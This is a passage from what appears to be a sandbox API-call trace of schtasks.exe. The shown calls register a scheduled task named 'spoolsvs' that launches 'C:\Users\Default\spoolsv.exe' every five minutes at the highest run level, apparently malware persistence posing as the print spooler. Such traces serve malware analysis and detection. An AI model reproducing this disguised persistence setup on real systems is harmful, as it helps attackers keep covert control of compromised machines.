_Buf2=0xff451b08, _Size=0x7) returned 0 [0160.804] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0160.804] lstrlenW (lpString="MINUTE") returned 6 [0160.804] GetProcessHeap () returned 0x400000 [0160.804] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0xe) returned 0x41d5c0 [0160.804] GetThreadLocale () returned 0x409 [0160.804] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0160.804] SetLastError (dwErrCode=0x0) [0160.804] GetProcessHeap () returned 0x400000 [0160.804] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x1fc) returned 0x41c250 [0160.804] GetProcessHeap () returned 0x400000 [0160.804] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41ccc0 [0160.804] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.804] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0160.804] lstrlenW (lpString="First") returned 5 [0160.804] GetProcessHeap () returned 0x400000 [0160.804] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0xc) returned 0x41d5e0 [0160.804] GetProcessHeap () returned 0x400000 [0160.804] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cc90 [0160.804] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.804] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0160.804] lstrlenW (lpString="Second") returned 6 [0160.804] GetProcessHeap () returned 0x400000 [0160.804] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0xe) returned 0x41d600 [0160.805] GetProcessHeap () returned 0x400000 [0160.805] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cc60 [0160.805] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.805] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0160.805] lstrlenW (lpString="Third") returned 5 [0160.805] GetProcessHeap () returned 0x400000 [0160.805] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0xc) returned 0x41d620 [0160.805] GetProcessHeap () returned 0x400000 [0160.805] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cc30 [0160.805] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.805] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0160.805] lstrlenW (lpString="Fourth") returned 6 [0160.805] GetProcessHeap () returned 0x400000 [0160.805] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0xe) returned 0x41d640 [0160.805] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.805] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0160.805] lstrlenW (lpString="Last") returned 4 [0160.805] GetProcessHeap () returned 0x400000 [0160.805] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0xa) returned 0x41d660 [0160.805] lstrlenW (lpString="5") returned 1 [0160.805] _wtol (_String="5") returned 5 [0160.805] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.805] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0160.805] lstrlenW (lpString="First") returned 5 [0160.805] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.805] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0160.805] lstrlenW (lpString="Second") returned 6 [0160.805] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.806] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0160.806] lstrlenW (lpString="Third") returned 5 [0160.806] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.806] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0160.806] lstrlenW (lpString="Fourth") returned 6 [0160.806] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.806] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0160.806] lstrlenW (lpString="Last") returned 4 [0160.806] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c3c0, cchData=128 | out: lpLCData="0") returned 2 [0160.806] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.806] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0160.806] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0160.806] GetProcessHeap () returned 0x400000 [0160.806] GetProcessHeap () returned 0x400000 [0160.806] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d5e0) returned 1 [0160.806] GetProcessHeap () returned 0x400000 [0160.806] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d5e0) returned 0xc [0160.806] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d5e0 | out: hHeap=0x400000) returned 1 [0160.806] GetProcessHeap () returned 0x400000 [0160.806] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x16) returned 0x41d5e0 [0160.806] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c3e0, cchData=128 | out: lpLCData="0") returned 2 [0160.807] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.807] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0160.807] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0160.807] GetProcessHeap () returned 0x400000 [0160.807] GetProcessHeap () returned 0x400000 [0160.807] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d600) returned 1 [0160.807] GetProcessHeap () returned 0x400000 [0160.807] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d600) returned 0xe [0160.807] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d600 | out: hHeap=0x400000) returned 1 [0160.807] GetProcessHeap () returned 0x400000 [0160.807] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x16) returned 0x41d600 [0160.807] GetLocalTime (in: lpSystemTime=0x25c610 | out: lpSystemTime=0x25c610*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x14, wMilliseconds=0x1c)) [0160.807] lstrlenW (lpString="") returned 0 [0160.807] GetLocalTime (in: lpSystemTime=0x25cec8 | out: lpSystemTime=0x25cec8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x14, wMilliseconds=0x1c)) [0160.807] lstrlenW (lpString="") returned 0 [0160.807] lstrlenW (lpString="") returned 0 [0160.807] lstrlenW (lpString="") returned 0 [0160.807] lstrlenW (lpString="") returned 0 [0160.807] lstrlenW (lpString="5") returned 1 [0160.807] _wtol (_String="5") returned 5 [0160.807] lstrlenW (lpString="") returned 0 [0160.807] lstrlenW (lpString="") returned 0 [0160.808] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0160.855] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0160.871] CoCreateInstance (in: rclsid=0xff451ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff451ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x25cc90 | out: ppv=0x25cc90*=0x1c7a50) returned 0x0 [0160.880] TaskScheduler:ITaskService:Connect (This=0x1c7a50, serverName=0x25cd70*(varType=0x8, wReserved1=0x25, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x25cd30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x25cd50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25cd10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0160.887] TaskScheduler:IUnknown:AddRef (This=0x1c7a50) returned 0x2 [0160.887] TaskScheduler:ITaskService:GetFolder (in: This=0x1c7a50, Path=0x0, ppFolder=0x25ce28 | out: ppFolder=0x25ce28*=0x1c7c10) returned 0x0 [0160.893] TaskScheduler:ITaskService:NewTask (in: This=0x1c7a50, flags=0x0, ppDefinition=0x25ce20 | out: ppDefinition=0x25ce20*=0x1c7c60) returned 0x0 [0160.893] ITaskDefinition:get_Actions (in: This=0x1c7c60, ppActions=0x25cda0 | out: ppActions=0x25cda0*=0x1c7d20) returned 0x0 [0160.893] IActionCollection:Create (in: This=0x1c7d20, Type=0, ppAction=0x25cdc0 | out: ppAction=0x25cdc0*=0x1c60c0) returned 0x0 [0160.894] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.894] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.894] lstrlenW (lpString=" ") returned 1 [0160.894] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0160.894] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0160.895] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0160.895] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0160.895] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0160.895] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0160.895] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0160.895] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0160.895] IUnknown:Release (This=0x1c60c0) returned 0x1 [0160.895] IUnknown:Release (This=0x1c7d20) returned 0x1 [0160.895] ITaskDefinition:get_Triggers (in: This=0x1c7c60, ppTriggers=0x25c920 | out: ppTriggers=0x25c920*=0x1c7e60) returned 0x0 [0160.895] ITriggerCollection:Create (in: This=0x1c7e60, Type=1, ppTrigger=0x25c918 | out: ppTrigger=0x25c918*=0x1c6130) returned 0x0 [0160.895] lstrlenW (lpString="5") returned 1 [0160.895] _vsnwprintf (in: _Buffer=0x25c8a0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x25c898 | out: _Buffer="PT5M") returned 4 [0160.895] ITrigger:get_Repetition (in: This=0x1c6130, ppRepeat=0x25c910 | out: ppRepeat=0x25c910*=0x1c61c0) returned 0x0 [0160.896] IRepetitionPattern:put_Interval (This=0x1c61c0, Interval="PT5M") returned 0x0 [0160.896] IUnknown:Release (This=0x1c61c0) returned 0x1 [0160.896] _vsnwprintf (in: _Buffer=0x25c860, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x25c838 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0160.896] ITrigger:put_StartBoundary (This=0x1c6130, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0160.896] lstrlenW (lpString="") returned 0 [0160.896] lstrlenW (lpString="") returned 0 [0160.896] lstrlenW (lpString="") returned 0 [0160.896] lstrlenW (lpString="") returned 0 [0160.896] IUnknown:Release (This=0x1c6130) returned 0x1 [0160.896] IUnknown:Release (This=0x1c7e60) returned 0x1 [0160.896] ITaskDefinition:get_Settings (in: This=0x1c7c60, ppSettings=0x25cdc0 | out: ppSettings=0x25cdc0*=0x1c7ed0) returned 0x0 [0160.896] lstrlenW (lpString="") returned 0 [0160.897] IUnknown:Release (This=0x1c7ed0) returned 0x1 [0160.897] GetLocalTime (in: lpSystemTime=0x25cc78 | out: lpSystemTime=0x25cc78*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x14, wMilliseconds=0x7a)) [0160.897] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0160.897] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0160.897] GetUserNameW (in: lpBuffer=0x25cca0, pcbBuffer=0x25cc88 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x25cc88) returned 1 [0160.923] ITaskDefinition:get_RegistrationInfo (in: This=0x1c7c60, ppRegistrationInfo=0x25cc70 | out: ppRegistrationInfo=0x25cc70*=0x1c7da0) returned 0x0 [0160.923] IRegistrationInfo:put_Author (This=0x1c7da0, Author="") returned 0x0 [0160.923] _vsnwprintf (in: _Buffer=0x25cca0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x25cc38 | out: _Buffer="2022-08-06T02:19:20") returned 19 [0160.923] IRegistrationInfo:put_Date (This=0x1c7da0, Date="") returned 0x0 [0160.923] IUnknown:Release (This=0x1c7da0) returned 0x1 [0160.923] malloc (_Size=0x18) returned 0x1c7f80 [0160.923] free (_Block=0x1c7f80) [0160.924] lstrlenW (lpString="") returned 0 [0160.924] ITaskDefinition:get_Principal (in: This=0x1c7c60, ppPrincipal=0x25ce90 | out: ppPrincipal=0x25ce90*=0x1c6010) returned 0x0 [0160.924] IPrincipal:put_RunLevel (This=0x1c6010, RunLevel=1) returned 0x0 [0160.924] IUnknown:Release (This=0x1c6010) returned 0x1 [0160.924] malloc (_Size=0x18) returned 0x1c7f80 [0160.924] ITaskFolder:RegisterTaskDefinition (in: This=0x1c7c10, Path="spoolsvs", pDefinition=0x1c7c60, flags=6, UserId=0x25cf10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25cf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25ee20, varVal2=0xfe), LogonType=3, sddl=0x25cf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x25ce30 | out: ppTask=0x25ce30*=0x1c6380) returned 0x0 [0161.190] free (_Block=0x1c7f80) [0161.190] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.191] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0161.191] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0161.191] GetProcessHeap () returned 0x400000 [0161.191] GetProcessHeap () returned 0x400000 [0161.191] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d620) returned 1 [0161.191] GetProcessHeap () returned 0x400000 [0161.191] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d620) returned 0xc [0161.191] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d620 | out: hHeap=0x400000) returned 1 [0161.191] GetProcessHeap () returned 0x400000 [0161.191] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x82) returned 0x439a40 [0161.191] _vsnwprintf (in: _Buffer=0x25d570, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x25cdd8 | out: _Buffer="SUCCESS: The scheduled task \"spoolsvs\" has successfully been created.\n") returned 70 [0161.191] _fileno (_File=0x7fefed02ab0) returned -2 [0161.191] _errno () returned 0x1c4bb0 [0161.191] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0161.191] SetLastError (dwErrCode=0x6) [0161.191] lstrlenW (lpString="SUCCESS: The scheduled task \"spoolsvs\" has successfully been created.\n") returned 70 [0161.191] GetConsoleOutputCP () returned 0x0 [0161.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"spoolsvs\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0161.192] GetConsoleOutputCP () returned 0x0 [0161.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"spoolsvs\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xff491880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"spoolsvs\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0161.192] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 70 [0161.192] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0161.192] IUnknown:Release (This=0x1c6380) returned 0x0 [0161.192] TaskScheduler:IUnknown:Release (This=0x1c7c60) returned 0x0 [0161.192] TaskScheduler:IUnknown:Release (This=0x1c7c10) returned 0x0 [0161.192] TaskScheduler:IUnknown:Release (This=0x1c7a50) returned 0x1 [0161.192] lstrlenW (lpString="") returned 0 [0161.192] lstrlenW (lpString="5") returned 1 [0161.192] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0161.192] GetProcessHeap () returned 0x400000 [0161.192] GetProcessHeap () returned 0x400000 [0161.192] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41c250) returned 1 [0161.192] GetProcessHeap () returned 0x400000 [0161.192] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41c250) returned 0x1fc [0161.193] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41c250 | out: hHeap=0x400000) returned 1 [0161.193] GetProcessHeap () returned 0x400000 [0161.193] GetProcessHeap () returned 0x400000 [0161.193] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41b990) returned 1 [0161.193] GetProcessHeap () returned 0x400000 [0161.193] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41b990) returned 0x4 [0161.193] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41b990 | out: hHeap=0x400000) returned 1 [0161.193] GetProcessHeap () returned 0x400000 [0161.193] GetProcessHeap () returned 0x400000 [0161.193] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d4e0) returned 1 [0161.193] GetProcessHeap () returned 0x400000 [0161.193] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d4e0) returned 0x16 [0161.193] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d4e0 | out: hHeap=0x400000) returned 1 [0161.193] GetProcessHeap () returned 0x400000 [0161.193] GetProcessHeap () returned 0x400000 [0161.193] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d560) returned 1 [0161.193] GetProcessHeap () returned 0x400000 [0161.193] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d560) returned 0x18 [0161.193] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d560 | out: hHeap=0x400000) returned 1 [0161.193] GetProcessHeap () returned 0x400000 [0161.193] GetProcessHeap () returned 0x400000 [0161.193] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cdb0) returned 1 [0161.194] GetProcessHeap () returned 0x400000 [0161.194] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cdb0) returned 0x20 [0161.194] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cdb0 | out: hHeap=0x400000) returned 1 [0161.194] GetProcessHeap () returned 0x400000 [0161.194] GetProcessHeap () returned 0x400000 [0161.194] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41bff0) returned 1 [0161.194] GetProcessHeap () returned 0x400000 [0161.194] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41bff0) returned 0xa0 [0161.194] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41bff0 | out: hHeap=0x400000) returned 1 [0161.194] GetProcessHeap () returned 0x400000 [0161.194] GetProcessHeap () returned 0x400000 [0161.194] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41ba70) returned 1 [0161.194] GetProcessHeap () returned 0x400000 [0161.195] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41ba70) returned 0x18 [0161.195] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41ba70 | out: hHeap=0x400000) returned 1 [0161.195] GetProcessHeap () returned 0x400000 [0161.195] GetProcessHeap () returned 0x400000 [0161.195] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cb10) returned 1 [0161.195] GetProcessHeap () returned 0x400000 [0161.195] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cb10) returned 0x20 [0161.195] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cb10 | out: hHeap=0x400000) returned 1 [0161.195] GetProcessHeap () returned 0x400000 [0161.195] GetProcessHeap () returned 0x400000 [0161.195] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x419360) returned 1 [0161.195] GetProcessHeap () returned 0x400000 [0161.195] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x419360) returned 0x3e [0161.195] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x419360 | out: hHeap=0x400000) returned 1 [0161.195] GetProcessHeap () returned 0x400000 [0161.195] GetProcessHeap () returned 0x400000 [0161.195] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d4c0) returned 1 [0161.195] GetProcessHeap () returned 0x400000 [0161.195] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d4c0) returned 0x18 [0161.195] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d4c0 | out: hHeap=0x400000) returned 1 [0161.196] GetProcessHeap () returned 0x400000 [0161.196] GetProcessHeap () returned 0x400000 [0161.196] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cae0) returned 1 [0161.196] GetProcessHeap () returned 0x400000 [0161.196] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cae0) returned 0x20 [0161.196] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cae0 | out: hHeap=0x400000) returned 1 [0161.196] GetProcessHeap () returned 0x400000 [0161.196] GetProcessHeap () returned 0x400000 [0161.196] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x419310) returned 1 [0161.196] GetProcessHeap () returned 0x400000 [0161.196] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x419310) returned 0x40 [0161.196] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x419310 | out: hHeap=0x400000) returned 1 [0161.196] GetProcessHeap () returned 0x400000 [0161.196] GetProcessHeap () returned 0x400000 [0161.196] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d540) returned 1 [0161.196] GetProcessHeap () returned 0x400000 [0161.196] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d540) returned 0x18 [0161.196] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d540 | out: hHeap=0x400000) returned 1 [0161.196] GetProcessHeap () returned 0x400000 [0161.196] GetProcessHeap () returned 0x400000 [0161.196] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cab0) returned 1 [0161.197] GetProcessHeap () returned 0x400000 [0161.197] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cab0) returned 0x20 [0161.197] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cab0 | out: hHeap=0x400000) returned 1 [0161.197] GetProcessHeap () returned 0x400000 [0161.197] GetProcessHeap () returned 0x400000 [0161.197] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d520) returned 1 [0161.197] GetProcessHeap () returned 0x400000 [0161.197] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d520) returned 0xe [0161.197] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d520 | out: hHeap=0x400000) returned 1 [0161.197] GetProcessHeap () returned 0x400000 [0161.197] GetProcessHeap () returned 0x400000 [0161.197] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d500) returned 1 [0161.197] GetProcessHeap () returned 0x400000 [0161.197] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d500) returned 0x18 [0161.197] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d500 | out: hHeap=0x400000) returned 1 [0161.197] GetProcessHeap () returned 0x400000 [0161.197] GetProcessHeap () returned 0x400000 [0161.197] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415d50) returned 1 [0161.197] GetProcessHeap () returned 0x400000 [0161.197] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415d50) returned 0x20 [0161.198] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415d50 | out: hHeap=0x400000) returned 1 [0161.198] GetProcessHeap () returned 0x400000 [0161.198] GetProcessHeap () returned 0x400000 [0161.198] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41bbf0) returned 1 [0161.198] GetProcessHeap () returned 0x400000 [0161.198] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41bbf0) returned 0x208 [0161.198] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41bbf0 | out: hHeap=0x400000) returned 1 [0161.198] GetProcessHeap () returned 0x400000 [0161.198] GetProcessHeap () returned 0x400000 [0161.198] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41ba50) returned 1 [0161.198] GetProcessHeap () returned 0x400000 